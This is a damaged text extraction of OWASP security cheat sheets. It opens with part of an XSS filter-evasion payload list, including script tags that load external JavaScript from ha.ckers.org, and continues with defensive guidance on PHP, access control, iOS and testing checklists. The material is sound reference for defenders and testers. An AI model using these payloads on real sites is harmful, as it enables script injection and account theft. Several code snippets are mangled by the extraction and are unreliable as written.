owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#US-ASCII_encoding for the correct
example.
210
27.2.59. IFRAME
If iframes are allowed there are a lot of other XSS problems as well:
<IFRAME SRC=" j a v a s c r i p t : a l e r t ( XSS ) ;" > </IFRAME>
27.2.61. FRAME
Frames have the same sorts of XSS problems as iframes
<FRAMESET><FRAME SRC=" j a v a s c r i p t : a l e r t ( XSS ) ;" > </FRAMESET>
27.2.62. TABLE
<TABLE BACKGROUND=" j a v a s c r i p t : a l e r t ( XSS ) " >
TD
Just like above, TDs are vulnerable to BACKGROUNDs containing JavaScript XSS
vectors:
<TABLE><TD BACKGROUND=" j a v a s c r i p t : a l e r t ( XSS ) " >
27.2.63. DIV
DIV background-image
<DIV STYLE="backgroundimage : url ( j a v a s c r i p t : a l e r t ( XSS ) ) " >
211
DIV expression
A variant of this was effective against a real world cross site scripting filter using a
newline between the colon and "expression":
<DIV STYLE=" width : expression ( a l e r t ( XSS ) ) ; " >
212
<OBJECT TYPE=" t e x t /xs c r i p t l e t " DATA=" http ://ha . ckers . org/ s c r i p t l e t . html
, "></OBJECT>
27.2.67. Using an EMBED tag you can embed a Flash movie that contains XSS
Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco
for the info).:
EMBED
,
,
,
,
SRC=" http ://ha . ckers . Using an EMBED tag you can embed a Flash movie
that contains XSS. Click here f o r a demo. I f you add the a t t r i b u t e s
allowScriptAccess =" never " and allownetworking =" i n t e r n a l " i t can
mitigate t h i s r i s k ( thank you to Jonathan Vanasco f o r the i n f o ) . :
org/xss . swf " AllowScriptAccess =" always"></EMBED>
27.2.68. You can EMBED SVG which can contain your XSS vector
This example only works in Firefox, but its better than the above vector in Firefox
because it does not require the user to have Flash turned on or installed. Thanks to
nEUrOO for this one.
<EMBED SRC=" data : image/svg+xml ; base64 ,PHN2ZyB4bWxuczpzdmc9Imh0dH
, A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv
, MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs
, aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaW
, dodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+
, YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type ="image/svg+xml "
, AllowScriptAccess =" always"></EMBED>
27.2.69. Using ActionScript inside flash can obfuscate your XSS vector
a=" get " ;
b="URL( \ " " ;
c =" j a v a s c r i p t : " ;
d=" a l e r t ( XSS ) ; \ " ) " ;
eval ( a+b+c+d ) ;
213
27.2.73. Assuming you can only fit in a few characters and it filters against ".js"
you can rename your JavaScript file to an image as an XSS vector:
<SCRIPT SRC=" http ://ha . ckers . org/xss . jpg "></SCRIPT>
27.2.75. PHP
Requires PHP to be installed on the server to use this XSS vector. Again, if you can
run any scripts remotely like this, there are probably much more dire issues:
<? echo ( <SCR) ;
echo ( IPT> a l e r t ( " XSS " ) </SCRIPT > ) ; ?>
214
For
performing
XSS
on
sites
that
allow
"<SCRIPT>"
but
dont
allow
"<script
src..."
by
way
of
a
regex
filter
"/<script((\s+\w+(\s*=\s*(?:"(.)*?"|(.)*?|[^">\s]+))?)+\s*|\s*)src/i" (this is an
important one, because Ive seen this regex in the wild):
<SCRIPT =" >" SRC=" http ://ha . ckers . org/xss . j s "></SCRIPT>
215
Heres an XSS example that bets on the fact that the regex wont catch a matching pair of quotes but will rather find any quotes to terminate a parameter string
improperly:
<SCRIPT a=" > >" SRC=" http ://ha . ckers . org/xss . j s "></SCRIPT>
This XSS still worries me, as it would be nearly impossible to stop this without
blocking all active content:
<SCRIPT>document . write ( " <SCRI " ) ; </SCRIPT>PT SRC=" http ://ha . ckers . org/xss . j s
, "></SCRIPT>
URL encoding
<A HREF=" http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D" >XSS</A>
Dword encoding
(Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):
<A HREF=" http://1113982867/">XSS</A>
Hex encoding
The total size of each number allowed is somewhere in the neighborhood of 240 total
characters as you can see on the second digit, and since the hex number is between
0 and F the leading zero on the third hex quotet is not required):
<A HREF=" http ://0x42.0x0000066.0x7.0x93/">XSS</A>
216
Mixed encoding
Lets mix and match base encoding and throw in some tabs and newlines - why
browsers allow this, Ill never know). The tabs and newlines only work if this is
encapsulated with quotes:
<A HREF="h
tt
p://6
6.000146.0x7.147/">XSS</A>
217
218
219
27.5. References
1. https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
2. https://www.owasp.org/index.php/Cheat_Sheets
3. http://ha.ckers.org/xsscalc.html
4. http://ha.ckers.org/xsscalc.html
5. http://help.dottoro.com/
6. http://help.dottoro.com/ljfvvdnm.php
7. https://tools.ietf.org/html/rfc2397
8. http://ha.ckers.org/xsscalc.html
220
221
222
28.7. References
1. https://www.owasp.org/index.php/REST_Assessment_Cheat_Sheet
2. http://www.w3.org/Submission/wadl/
3. http://www.xiom.com/2011/11/20/restful_webservices_testing
223
Part III.
224
29.1. Introduction
This document is written for iOS app developers and is intended to provide a set of
basic pointers to vital aspects of developing secure apps for Apples iOS operating
system. It follows the OWASP Mobile Top 10 Risks list [2].
29.2. Basics
From a user perspective, two of the best things one can do to protect her iOS device
are: enable strong passwords, and refrain from jailbreaking the device (see Mobile
Jailbreaking Cheat Sheet on page 231). For developers, both of these issues are
problematic, as they are not verifiable within an apps sandbox environment. (Apple
previously had an API for testing devices to see if they are jailbroken, but that API was
deprecated in 2010.) For enterprises, strong passwords, along with dozens of other
security configuration attributes can be managed and enforced via a Mobile Device
Management (MDM) product. Small businesses and individuals with multiple devices
can use Apples iPhone Configuration Utility [3] and Apple Configurator (available in
the Mac App Store) to build secure configuration profiles and deploy them on multiple
devices.
225
226
227
228
229
29.6. References
1. https://www.owasp.org/index.php/IOS_Developer_Cheat_Sheet
2. https://www.owasp.org/index.php/OWASP_Mobile_Security_Project
3. http://www.apple.com/support/iphone/enterprise/
4. http://sqlcipher.net
5. http://sqlcipher.net
230
231
232
233
234
235
236
237
30.5. Conclusion
Jailbreaking and rooting and unlocking tools, resources and processes are constantly
updated and have made the process easier than ever for end-users. Many users are
lured to jailbreak their device in order to gain more control over the device, upgrade
their operating systems or install packages normally unavailable through standard
channels. While having these options may allow the user to utilize the device more
effectively, many users do not understand that jailbreaking can potentially allow
malware to bypass many of the devices built in security features. The balance of
user experience versus corporate security needs to be carefully considered, since
all mobile platforms have seen an increase in malware attacks over the past year.
Mobile devices now hold more personal and corporate data than ever before, and
have become a very appealing target for attackers. Overall, the best defense for
an enterprise is to build an overarching mobile strategy that accounts for technical
controls, non-technical controls and the people in the environment. Considerations
need to not only focus on solutions such as MDM, but also policies and procedures
around common issues of BYOD and user security awareness.
238
30.7. References
1. https://www.owasp.org/index.php/Mobile_Jailbreaking_Cheat_Sheet
2. http://theiphonewiki.com/wiki/Main_Page
3. http://www.theinquirer.net/inquirer/news/2220251/
us-rules-jailbreaking-tablets-is-illegal
239
Part IV.
240
31.1. Introduction
The goal with this cheat Sheet is to present a concise virtual patching framework
that organizations can follow to maximize the timely implementation of mitigation
protections.
241
242
243
244
245
Looking at the payload, we can see that the attacker is inserting a single quote character and then adding additional SQL query logic to the end. Based on this data, we
could disallow the single quote character like this:
SecRule REQUEST_URI " @contains /wpcontent/plugins/ l e v e l f o u r s t o r e f r o n t /
, s c r i p t s /administration/exportsubscribers . php" " chain , id : 1 , phase : 2 , t :
, none , t : Utf8toUnicode , t : urlDecodeUni , t : normalizePathWin , t : lowercase ,
, block ,msg : Input Validation Error f o r \ reqID \ parameter . , logdata
, : % { args . reqid } "
SecRule ARGS:/ reqID/ "@pm "
246
247
31.16. References
1. https://www.owasp.org/index.php/Virtual_Patching_Cheat_Sheet
2. http://blog.spiderlabs.com/2012/03/modsecurity-advanced-topic-of-the-week
html
3. https://code.google.com/p/threadfix/wiki/GettingStarted#
Generating_WAF_Rules
4. https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
5. http://www.jwall.org/web/audit/viewer.jsp
6. http://packetstormsecurity.com/files/119217/
WordPress-Shopping-Cart-8.1.14-Shell-Upload-SQL-Injection.html
7. http://www.osvdb.org/show/osvdb/88856
8. https://code.google.com/p/threadfix/
248
Part V.
249
All the draft Cheat Sheets are Work in Progress. So please have a look at the online
version, too.
250
251
33.1. Introduction
This article is focused on providing clear, simple, actionable guidance for providing
Access Control security in your applications.
252
https://www.owasp.org/index.php/OWASP_PHPRBAC_Project
253
http://csrc.nist.gov/publications/drafts/800-162/sp800_162_draft.pdf
254
255
256
.NET (C#)
i f ( authenticated ) {
Session [ "AUTHLEVEL" ] = X_USER;
}
PHP
i f ( authenticated ) {
$_SESSION [ authlevel ] = X_USER; // X_USER i s defined elsewhere as
, meaning , the user i s authorized
}
257
In Controller
t r y ( assertAuthorized (DELETE_USER) ) {
deleteUser ( ) ;
}
258
Long Form
isAuthorized ( user , EDIT_ORG, Organization . class , 14)
Essentially checking if the user has the right role in the context of a specific
object
Centralize access control logic
Protecting data at the lowest level!
259
34.1. Introduction
This cheat sheet offers tips for the initial design and review of an applications security architecture.
34.2.3. End-Users
Who are the applications end-users?
How do the end-users interact with the application?
What security expectations do the end-users have?
260
34.2.4. Partners
Which third-parties supply data to the application?
Which third-parties receive data from the applications?
Which third-parties process the applications data?
What mechanisms are used to share data with third-parties besides the application itself?
What security requirements do the partners impose?
34.2.5. Administrators
Who has administrative capabilities in the application?
What administrative capabilities does the application offer?
34.2.6. Regulations
In what industries does the application operate?
What security-related regulations apply?
What auditing and compliance regulations apply?
34.3.2. Systems
What operating systems support the application?
What hardware requirements have been defined?
What details regarding required OS components and lock-down needs have
been defined?
261
34.4.3. Access
What user privilege levels does the application support?
What user identification and authentication requirements have been defined?
What user authorization requirements have been defined?
What session management requirements have been defined?
What access requirements have been defined for URI and Service calls?
What user access restrictions have been defined?
How are user identities maintained throughout transaction calls?
262
263
34.5.4. Corporate
What corporate security program requirements have been defined?
What security training do developers and administrators undergo?
Which personnel oversees security processes and requirements related to the
application?
What employee initiation and termination procedures have been defined?
What application requirements impose the need to enforce the principle of separation of duties?
What controls exist to protect a compromised in the corporate environment from
affecting production?
What security governance requirements have been defined?
264
35.1. Introduction
This cheat sheet provides some guidance for identifying some of the various types of
business logic vulnerabilities and some guidance for preventing and testing for them.
265
266
https://www.whitehatsec.com/assets/WP_bizlogic092407.pdf
http://www.ntobjectives.com/go/business-logic-attack-vectors-white-paper/
3
http://www.ntobjectives.com/files/Business_Logic_White_Paper.pdf
4
http://cwe.mitre.org/data/definitions/840.html
2
267
36.1. Introduction
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing
your web application.
268
dbuser ,
dbpassword ,
dbname ) ;
There are various runtime errors that could occur in this - for example, the database
connection could fail, due to a wrong password or the server being down etc., or
the connection could be closed by the server after it was opened client side. In
these cases, by default the mysqli_ functions will issue warnings or notices, but will
not throw exceptions or fatal errors. This means that the code simply carries on!
The variable $row becomes NULL, and PHP will evaluate $row[0] also as NULL, and
(int)$row[0] as 0, due to weak typing. Eventually the can_access_feature function
returns true, giving access to all users, whether they are on the blacklist or not.
If these native database APIs are used, error checking should be added at every
point. However, since this requires additional work, and is easily missed, this is
insecure by default. It also requires a lot of boilerplate. This is why accessing a
database should always be done by using PHP Data Objects (PDO)1 specified with
the ERRMODE_WARNING or ERRMODE_EXCEPTION flags2 unless there is a clearly
compelling reason to use native drivers and careful error checking.
It is often best to turn up error reporting as high as possible using the error_reporting3 function, and never attempt to suppress error messages always
follow the warnings and write code that is more robust.
php.ini
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled.
This can make it very difficult to write code that works correctly in all circumstances.
Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below
under "Configuration."
Unhelpful builtins
PHP comes with many built-in functions, such as addslashes, mysql_escape_string
and mysql_real_escape_string, that appear to provide security, but are often buggy
and, in fact, are unhelpful ways to deal with security problems. Some of these builtins are being deprecated and removed, but due to backwards compatibility policies
this takes a long time.
PHP also provides an array data structure, which is used extensively in all PHP
code and internally, that is a confusing mix between an array and a dictionary. This
1
http://php.net/manual/en/intro.pdo.php
http://php.net/manual/en/pdo.error-handling.php
3
http://www.php.net/manual/en/function.error-reporting.php
2
269
then we end up with $supplied_nonce being an array. The function strcmp() will then
return NULL (instead of throwing an exception, which would be much more useful),
and then, due to weak typing and the use of the == (equality) operator instead of the
=== (identity) operator, the comparison succeeds (since the expression NULL == 0 is
4
5
https://www.drupal.org/SA-CORE-2014-005
http://cgit.drupalcode.org/drupal/commit/?id=26a7752c34321fd9cb889308f507ca6bdb777f08
270
36.2. Configuration
The behaviour of PHP is strongly affected by configuration, which can be done
through the "php.ini" file, Apache configuration directives and runtime mechanisms
- see http://www.php.net/manual/en/configuration.php
There are many security related configuration options. Some are listed below:
36.2.1. SetHandler
PHP code should be configured to run using a SetHandler directive. In many instances, it is wrongly configured using an AddHander directive. This works, but
also makes other files executable as PHP code - for example, a file name "foo.php.txt"
will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came
from a malicious file upload.
6
7
https://www.drupal.org/SA-CORE-2014-005
http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo
271
However, the type is not determined by using heuristics that validate it, but by simply
reading the data sent by the HTTP request, which is created by a client. A better, yet
not perfect, way of validating file types is to use finfo class.
$ f i n f o = new f i n f o ( FILEINFO_MIME_TYPE ) ;
$fileContents = f i l e _ g e t _ c o n t e n t s ( $_FILES [ some_name ] [ tmp_name ] ) ;
$mimeType = $ f i n f o >b u f f e r ( $fileContents ) ;
Where $mimeType is a better checked file type. This uses more resources on the
server, but can prevent the user from sending a dangerous file and fooling the code
into trusting it as an image, which would normally be regarded as a safe file type.
272
If $username has come from an untrusted source (and you must assume it has,
since you cannot easily see that in source code), it could contain characters such as
that will allow an attacker to execute very different queries than the one intended,
including deleting your entire database etc. Using prepared statements and bound
parameters is a much better solution. PHPs [mysqli](http://php.net/mysqli) and
[PDO](http://php.net/pdo) functionality includes this feature (see below).
36.4.4. ORM
ORMs (Object Relational Mappers) are good security practice. If youre using an
ORM (like Doctrine12 ) in your PHP project, youre still prone to SQL attacks. Although injecting queries in ORMs is much harder, keep in mind that concatenating
8
http://php.net/manual/en/mysqli.quickstart.prepared-statements.php
http://php.net/manual/en/pdo.prepare.php
10
http://getcomposer.org/
11
http://packagist.org/
12
http://www.doctrine-project.org/
9
273
274
Reflection also could have code injection flaws. Refer to the appropriate reflection
documentations, since it is an advanced topic.
36.6.1. No Tags
Most of the time, there is no need for user supplied data to contain unescaped HTML
tags when output. For example when youre about to dump a textbox value, or output
user data in a cell.
If you are using standard PHP for templating, or echo etc., then you can mitigate
XSS in this case by applying htmlspecialchars to the data, or the following function
(which is essentially a more convenient wrapper around htmlspecialchars). However, this is not recommended. The problem is that you have to remember to apply
it every time, and if you forget once, you have an XSS vulnerability. Methodologies
that are insecure by default must be treated as insecure.
Instead of this, you should use a template engine that applies HTML escaping by
default - see below. All HTML should be passed out through the template engine.
If you cannot switch to a secure template engine, you can use the function below on
all untrusted data.
Keep in mind that this scenario wont mitigate XSS when you use user input in dangerous elements (style, script, images src, a, etc.), but mostly you dont. Also keep in
mind that every output that is not intended to contain HTML tags should be sent to
the browser filtered with the following function.
//xss mitigation functions
function xssafe ( $data , $encoding = UTF8 ) {
return htmlspecialchars ( $data ,ENT_QUOTES | ENT_HTML401, $encoding ) ;
}
function xecho ( $data ) {
echo xssafe ( $data ) ;
}
//usage example
<input type = text name= t e s t value = <?php
xecho ( " onclick = a l e r t ( 1 ) " ) ;
? > />
13
http://stackoverflow.com/a/4292439
275
http://twig.sensiolabs.org/
https://www.owasp.org/index.php/Reflected_XSS
276
https://www.owasp.org/index.php/PHP_CSRF_Guard
277
Keep in mind that in local environments, a valid IP is not returned, and usually the
string :::1 or :::127 might pop up, thus adapt your IP checking logic. Also beware
of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable
as this data is effectively user input and therefore susceptible to spoofing (more
information here17 and here18 )
Invalidate Session ID
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would
prove useful. Many applications also notify the logged in user (e.g GMail).
Rolling of Session ID
You should roll session ID whenever elevation occurs, e.g when a user logs in, the
session ID of the session should be changed, since its importance is changed.
Exposed Session ID
Session IDs are considered confidential, your application should not expose them
anywhere (specially when bound to a logged in user). Try not to use URLs as session
ID medium.
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.
Session Fixation
Invalidate the Session id after user login (or even after each request) with session_regenerate_id()19 .
Session Expiration
A session should expire after a certain amount of inactivity, and after a certain time
of activity as well. The expiration process means invalidating and removing a session,
and creating a new one when another request is met.
Also keep the log out button close, and unset all traces of the session on log out.
Inactivity Timeout
Expire a session if current request is X seconds later than the last request. For this
you should update session data with time of the request each time a request is made.
The common practice time is 30 minutes, but highly depends on application criteria.
This expiration helps when a user is logged in on a publicly accessible machine, but
forgets to log out. It also helps with session hijacking.
General Timeout
Expire a session if current session has been active for a certain amount of time,
even if active. This helps keeping track of things. The amount differs but something
between a day and a week is usually good. To implement this you need to store start
time of a session.
17
http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/
http://security.stackexchange.com/a/34327/37
19
http://www.php.net/session_regenerate_id
18
278
The first line ensures that cookie expires in browser, the second line is the standard
way of removing a cookie (thus you cant store false in a cookie). The third line
removes the cookie from your script. Many guides tell developers to use time() - 3600
for expiry, but it might not work if browser time is not correct.
You can also use session_name() to retrieve the name default PHP session cookie.
HTTP Only
Most modern browsers support HTTP-only cookies. These cookies are only accessible
via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They
are very good practice, but are not satisfactory since there are many flaws discovered
in major browsers that lead to exposure of HTTP only cookies to JavaScript.
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting
manually20 (not using session_start):
#prototype
bool setcookie ( s t r i n g $name [ , s t r i n g $value [ , i n t $expire = 0 [ , s t r i n g
, $path [ , s t r i n g $domain [ , bool $secure = f a l s e [ , bool $httponly =
, f a l s e ] ] ] ] ] ] )
#usage
i f ( ! setcookie ( " MySessionID " , $secureRandomSessionID , $generalTimeout ,
, $applicationRootURLwithoutHost , NULL, NULL, true ) ) echo ( " could not
, set HTTPonly cookie " ) ;
The path parameter sets the path which cookie is valid for, e.g if you have your
website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If youre on a whole
domain, dont mind it. Domain parameter enforces the domain, if youre accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If secure
parameter is set, cookie can only be transmitted over HTTPS. See the example below:
$r=setcookie ( " SECSESSID" ,"1203
, j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973 " , time ( ) +60*60*24*7
, / * a week * / , " / " , " owasp . org " , true , true ) ;
i f ( ! $r ) die ( " Could not set session cookie . " ) ;
20
http://php.net/manual/en/function.setcookie.php
279
36.8.2. Authentication
Remember Me
Many websites are vulnerable on remember me features. The correct practice is to
generate a one-time token for a user and store it in the cookie. The token should
also reside in data store of the application to be validated and assigned to user. This
token should have no relevance to username and/or password of the user, a secure
long-enough random number is a good practice.
It is better if you imply locking and prevent brute-force on remember me tokens,
and make them long enough, otherwise an attacker could brute-force remember me
tokens until he gets access to a logged in user without credentials.
Never store username/password or any relevant information in the cookie.
21
https://www.owasp.org/index.php/PHP_Configuration_Cheat_Sheet
280
37.1. Introduction
The goal of this document is to create high level guideline for secure coding practices.
The goal is to keep the overall size of the document condensed and easy to digest.
Individuals seeking addition information on the specific areas should refer to the
included links to learn more.
37.3. Authentication
37.3.1. Password Complexity
Applications should have a password complexity requirement of:
Passwords must be 8 characters or greater
Passwords must require 3 of the following 4 character types [upper case letters,
lower case letters, numbers, special characters]
https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks
281
37.4.6. Logout
Upon logout the session ID should be invalidated on the server side and deleted
on the client via expiring and overwriting the value.
282
283
http://htmlpurifier.org/
http://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project
4
http://github.com/jsocol/bleach/
3
284
http://www.owasp.org/index.php/Reviewing_Code_for_OS_Injection
285
The "DENY" setting is recommended unless a specific need has been identified for
framing.
286
image/jpeg,
options
See
37.11. Authors
[empty]
287
last modified
38.1. Introduction
This cheat sheet provides an "at a glance" quick reference on the most important
initiatives to build security into multiple parts of software development processes.
They broadly relate to "level 1" of the Open Software Assurance Maturity Model (Open
SAMM).
...???
38.2. Purpose
More mature organisations undertake software assurance activities across a wider
spectrum of steps, and generally earlier, than less mature organisations. This has
been shown to identify more vulnerabilities sooner, have then corrected at less cost,
prevent them being re-introduced more effectively, reduce the number of vulnerabilities in production environments, and reduce the number of security incidents
including data breaches.
...???
288
289
290
38.3.4. Do more
Is level 1 the correct goal? Perhaps your organization is already doing more than
these? Perhaps it should do more, or less. Read SAMM, and benchmark existing
activities using the scorecard. Use the information resources listed below to help
develop your own programme, guidance and tools.
http://www.opensamm.org/
http://www.opensamm.org/download/
3
https://www.owasp.org/index.php/Category:OWASP_CLASP_Project
4
https://www.owasp.org/
5
https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_
Guide
6
https://www.owasp.org/index.php/Cheat_Sheets
7
https://www.owasp.org/index.php/OWASP_Guide_Project
8
https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project
9
https://www.owasp.org/index.php/OWASP_Testing_Project
10
https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_
Standard_Project
11
https://www.owasp.org/index.php/Category:OWASP_Tool
12
https://www.owasp.org/index.php/OWASP_Podcast
13
https://www.owasp.org/index.php/OWASP_Appsec_Tutorial_Series
14
http://www.bits.org/publications/security/BITSSoftwareAssurance0112.pdf
15
http://www.cert.org/secure-coding/secure.html
16
http://iac.dtic.mil/iatac/download/security.pdf
17
http://www.enisa.europa.eu/act/application-security/secure-software-engineering/
secure-software-engineering-initiatives
2
291
30
18
http://www.iso.org/iso/iso_catalogue/catalogue_tc/catalogue_detail.htm?csnumber=
44378
19
http://csrc.nist.gov/publications/nistpubs/800-64-Rev2/SP800-64-Revision2.pdf
20
http://www.safecode.org/publications/SAFECode_Agile_Dev_Security0712.pdf
21
https://buildsecurityin.us-cert.gov/bsi/home.html
22
https://buildsecurityin.us-cert.gov/swa/resources.html
23
http://www.sdlc.ws/
24
http://www.sdlc.ws/software-testing-life-cycle-stlc-complete-tutorial/
25
http://www.sdlc.ws/category/models/
26
http://bsimm.com/
27
http://www.microsoft.com/security/sdl/default.aspx
28
http://go.microsoft.com/?linkid=9767361
29
http://go.microsoft.com/?linkid=9708425
30
http://www.oracle.com/us/support/assurance/index.html
292
293
40.1. Introduction
This cheat sheet provides a checklist of tasks to be performed when performing a
blackbox security test of a web application.
40.2. Purpose
This checklist is intended to be used as an aide memoire for experienced pentesters
and should be used in conjunction with the OWASP Testing Guide1 . It will be updated
as the Testing Guide v42 is progressed.
The intention is that this guide will be available as an XML document, with scripts
that convert it into formats such as pdf, Media Wiki markup, HTML etc.
This will allow it to be consumed within security tools as well as being available in a
format suitable for printing.
All feedback or offers of help will be appreciated - and if you have specific chances
you think should be made, just get stuck in.
https://www.owasp.org/index.php/Category:OWASP_Testing_Project
https://www.owasp.org/index.php/OWASP_Application_Testing_guide_v4
294
40.3.4. Authentication
Test for user enumeration
Test for authentication bypass
Test for brute force protection
Test for Credentials Transported over an Encrypted Channel
Test password quality rules
Test remember me functionality
Test for autocomplete on password forms/input
Test password reset and/or recovery
295
40.3.6. Authorization
Test for path traversal
Test for vertical Access control problems (a.k.a. Privilege Escalation)
Test for horizontal Access control problems (between two users at the same
privilege level)
Test for missing authorisation
Test for Insecure Direct Object References
296
297
40.3.10. Cryptography
Check if data which should be encrypted is not
Check for wrong algorithms usage depending on context
Check for weak algorithms usage
Check for proper use of salting
Check for randomness functions
298
40.3.13. HTML 5
Test Web Messaging
Test for Web Storage SQL injection
Check CORS implementation
Check Offline Web Application
https://github.com/raesene/OWASP_Web_App_Testing_Cheatsheet_Converter/blob/
master/OWASP_Web_Application_Testing_Cheat_Sheet.xml
4
http://templana.com/templates/owasp-website-security-checklist/
299
5
6
https://www.owasp.org/index.php/Category:OWASP_Testing_Project
https://wiki.mozilla.org/WebAppSec/Web_Security_Verification
300
301
42.1. Introduction
This cheat sheet provides a checklist of tasks to be performed when testing an iOS
application.
When assessing a mobile application several areas should be taken into account:
client software, the communication channel and the server side infrastructure.
Testing an iOS application usually requires a jailbroken device. (A device that not
pose any restrictions on the software that can be installed on it.)
302
303
304
42.6. Tools
Mallory proxy1 Proxy for Binary protocols
Charles/Burp proxy23 Proxy for HTTP and HTTPS
OpenSSH4 Connect to the iPhone remotely over SSH
Sqlite35 Sqlite database client
GNU Debuggerhttp://www.gnu.org/software/gdb/ For run time analysis & reverse engineering
Syslogd6 View iPhone logs
Tcpdump7 Capture network traffic on phone
Otool8 Odcctools: otool object file displaying tool
Cycript9 A language designed to interact with Objective-C classes
SSL Kill switch10 Blackbox tool to disable SSL certificate validation - including certificate pinning in NSURL
Plutil11 To view Plist files
nm Analysis tool to display the symbol table, which includes names of functions and
methods, as well as their load addresses.
sysctl12 A utility to read and change kernel state variables
dump_keychain13 A utility to dump the keychain
Filemon14 Monitor realtime iOS file system
FileDP15 Audits data protection of files
BinaryCookieReader16 Read cookies.binarycookies files
lsof ARM Binary17 list of all open files and the processes that opened them
lsock ARM Binary18 monitor socket connections
PonyDebugger Injected19 Injected via Cycript to enable remote debugging
305
http://www.securitylearn.net/2012/09/07/penetration-testing-of-iphone-app
Jonathan Zdziarski "Hacking and securing iOS applications" (ch. 6,7,8)
http://www.mdsec.co.uk/research/iOS_Application_Insecurity_wp_
v1.0_final.pdf
306
307
44.1. Introduction
[jeff williams] Direct Object Reference is fundamentally a Access Control problem.
We split it out to emphasize the difference between URL access control and data
layer access control. You cant do anything about the data-layer problems with URL
access control. And theyre not really input validation problems either. But we see
DOR manipulation all the time. If we list only "Messed-up from the Floor-up Access
Control" then people will probably only put in SiteMinder or JEE declarative access
control on URLs and call it a day. Thats what were trying to avoid.
[eric sheridan] An object reference map is first populated with a list of authorized
values which are temporarily stored in the session. When the user requests a field
(ex: color=654321), the application does a lookup in this map from the session to determine the appropriate column name. If the value does not exist in this limited map,
the user is not authorized. Reference maps should not be global (i.e. include every
possible value), they are temporary maps/dictionaries that are only ever populated
with authorized values.
308
45.1. Introduction
Content Security Policy (CSP) is an effective "defense in depth" technique to be used
against content injection attacks. It is a declarative policy that informs the user
agent what are valid sources to load from.
Since, it was introduced in Firefox version 4 by Mozilla, it has been adopted as a
standard, and grown in adoption and capabilities.
This document is meant to provide guidance on how to utilize CSP under a variety of
situations to address a variety of concerns.
45.2.2. Directives
The following is a listing of directives, and a brief description.
309
310
